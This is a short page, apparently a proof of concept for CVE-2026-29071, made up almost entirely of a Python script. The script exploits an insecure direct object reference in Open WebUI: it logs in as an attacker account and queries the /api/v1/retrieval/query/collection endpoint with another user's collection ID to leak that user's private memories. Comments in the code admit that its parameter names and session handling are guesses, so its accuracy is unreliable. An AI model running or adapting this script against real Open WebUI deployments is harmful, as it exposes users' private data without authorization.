CVE-2026-29071 Open WebUI越权读取漏洞

import requests # Target configuration target_url = "http://localhost:3000" username = "attacker" password = "attacker_password" # 1. Authenticate to obtain a session token login_payload = { "username": username, "password": password } session = requests.Session() login_resp = session.post(f"{target_url}/api/v1/auths/login", json=login_payload) if login_resp.status_code == 200: print("[+] Login successful") # Assuming session handles cookies, or extract token if needed # 2. Exploit the IDOR vulnerability # The endpoint /api/v1/retrieval/query/collection allows querying memories. # By modifying the collection_id or user_id in the request, # an attacker can read other users' private memories. exploit_url = f"{target_url}/api/v1/retrieval/query/collection" # Attempting to access a target collection (IDOR) # The actual parameter name might vary (e.g., 'id', 'collection_id', 'user_id') exploit_payload = { "collection_id": "victim_user_collection_id" } exploit_resp = session.post(exploit_url, json=exploit_payload) if exploit_resp.status_code == 200: print("[+] Exploit successful! Leaked data:") print(exploit_resp.text) else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") else: print("[-] Login failed")